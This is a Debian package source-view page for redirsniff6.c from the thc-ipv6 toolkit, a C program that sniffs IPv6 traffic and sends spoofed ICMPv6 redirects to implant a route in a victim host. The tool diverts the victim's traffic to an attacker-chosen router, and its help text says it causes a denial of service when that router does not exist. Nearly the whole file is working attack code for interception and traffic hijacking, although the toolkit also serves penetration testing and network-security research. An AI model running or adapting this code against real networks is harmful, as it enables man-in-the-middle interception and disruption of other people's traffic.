File: redirsniff6.c

package info (click to toggle)
thc-ipv6 3.6-1
  • links: PTS, VCS
  • area: main
  • in suites: bullseye, buster, sid
  • size: 2,116 kB
  • sloc: ansic: 52,618; sh: 529; makefile: 77; perl: 34
file content (140 lines) | stat: -rw-r--r-- 4,718 bytes parent folder | download
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>
#include <pcap.h>
#include "thc-ipv6.h"

unsigned char *pkt = NULL, buf[16], mac[16] = "", *realownmac;
unsigned char *mac6 = mac, *src6, *dest6, *oldrouter6, *newrouter6, *self6, *fakemac;
char *interface;

void help(char *prg) {
  printf("%s %s (c) 2019 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE);
  printf("Syntax: %s interface victim-ip destination-ip original-router [new-router [new-router-mac]]\n\n", prg);
  printf("Implant a route into victim-ip, which redirects all traffic to destination-ip to\n");
  printf("new-router. This is done on all traffic that flows by that matches\n");
  printf("victim->target. You must know the router which would handle the route.\n");
  printf("If the new-router/-mac does not exist, this results in a DOS.\n");
  printf("You can supply a wildcard ('*') for victim-ip and/or destination-ip.\n");
  exit(-1);
}

void intercept(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) {
  char *ptr, *ptr2;
  
  // packet is to the real router, and is not from us?
  if (memcmp(realownmac, data + 6, 6) == 0 || memcmp(fakemac, data, 6) != 0)
    return;

  // check that source and dest are routed

  // same network?
  if (memcmp(data + 14 + 8, data + 14 + 8 + 16, 8) == 0)
    return;
  // dst fe.. or ff.. or 00?
  if (data[14 + 8 + 16] >= 0xfe || data[14 + 8 + 16] == 0)
    return;
  // src fe.. or ff.. or 00?
  if (data[14 + 8 + 16] >= 0xfe || data[14 + 8 + 16] == 0)
    return;

  if (src6 != NULL) { // victim wildcard? if not, check src
    if (memcmp(src6, data + 14 + 8, 16) != 0)
      return;
  } else { // victim wildcard - we have to ensure that the source is local -> hop count!
    if (data[14 + 7] != 64 && data[14 + 7] != 128 && data[14 + 7] != 255)
      return;
  }
  if (dest6 != NULL) // destination wildcard? if not, check dst
    if (memcmp(dest6, data + 14 + 8 + 16, 16) != 0)
      return;
  
  thc_redir6(interface, oldrouter6, fakemac, (unsigned char*)data + 6, newrouter6, mac6, (unsigned char*)data + 14, header->caplen - 14);

  ptr = thc_ipv62notation((unsigned char*)data + 14 + 8);
  ptr2 = thc_ipv62notation((unsigned char*)data + 14 + 8 + 16);
  printf("Sent ICMPv6 redirect for %s -> %s\n", ptr, ptr2);
  free(ptr);
  free(ptr2);
}

int main(int argc, char *argv[]) {
  int rawmode = 0, offset = 14;
  char string[256] = "ip6";

  if (argc < 5 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  if (strcmp(argv[1], "-r") == 0) {
    thc_ipv6_rawmode(1);
    rawmode = 1;
    argv++;
    argc--;
  }

  if (do_hdr_size)
    offset = do_hdr_size;
  interface = argv[1];
  if ((src6 = thc_resolve6(argv[2])) == NULL) {
    if (strcmp(argv[2], "*") != 0) {
      fprintf(stderr, "Error: victim-ip is not a valid IPv6 address or '*': %s\n", argv[2]);
      exit(-1);
    }
  }
  if ((dest6 = thc_resolve6(argv[3])) == NULL) {
    if (strcmp(argv[3], "*") != 0) {
      fprintf(stderr, "Error: destination-ip is not a valid IPv6 address or '*': %s\n", argv[3]);
      exit(-1);
    }
  }

  if ((oldrouter6 = thc_resolve6(argv[4])) == NULL) {
    fprintf(stderr, "Error: old-router is not a valid IPv6 address: %s\n", argv[4]);
    exit(-1);
  }

  if (argc >= 6) {
    if ((newrouter6 = thc_resolve6(argv[5])) == NULL) {
      fprintf(stderr, "Error: new-router is not a valid IPv6 address: %s\n", argv[5]);
      exit(-1);
    }
  } else
    newrouter6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK);
    
  /* Spoof source mac */
  if ((self6 = thc_get_own_ipv6(interface, oldrouter6, PREFER_GLOBAL)) == NULL) {
    fprintf(stderr, "Error: could not get own IP address to contact original-router\n");
    exit(-1);
  }
  if ((fakemac = thc_get_mac(interface, self6, oldrouter6)) == NULL) {
    fprintf(stderr, "Error: could not resolve mac address for original-router\n");
    free(self6);
    exit(-1);
  }

  mac6 = mac;
  if (argc >= 7)
    sscanf(argv[6], "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4],
           (unsigned int *) &mac[5]);
  else
    mac6 = thc_get_own_mac(interface);
  realownmac = thc_get_own_mac(interface);

  if (src6 != NULL) {
    strcat(string, " and src ");
    strcat(string, thc_ipv62notation(src6));
  }
  if (dest6 != NULL) {
    strcat(string, " and dst ");
    strcat(string, thc_ipv62notation(dest6));
  }

  printf("Starting sniffer to get traffic to be redirected (press Control-C to end) ...\n");
  return thc_pcap_function(interface, string, (char *) intercept, 1, NULL);
}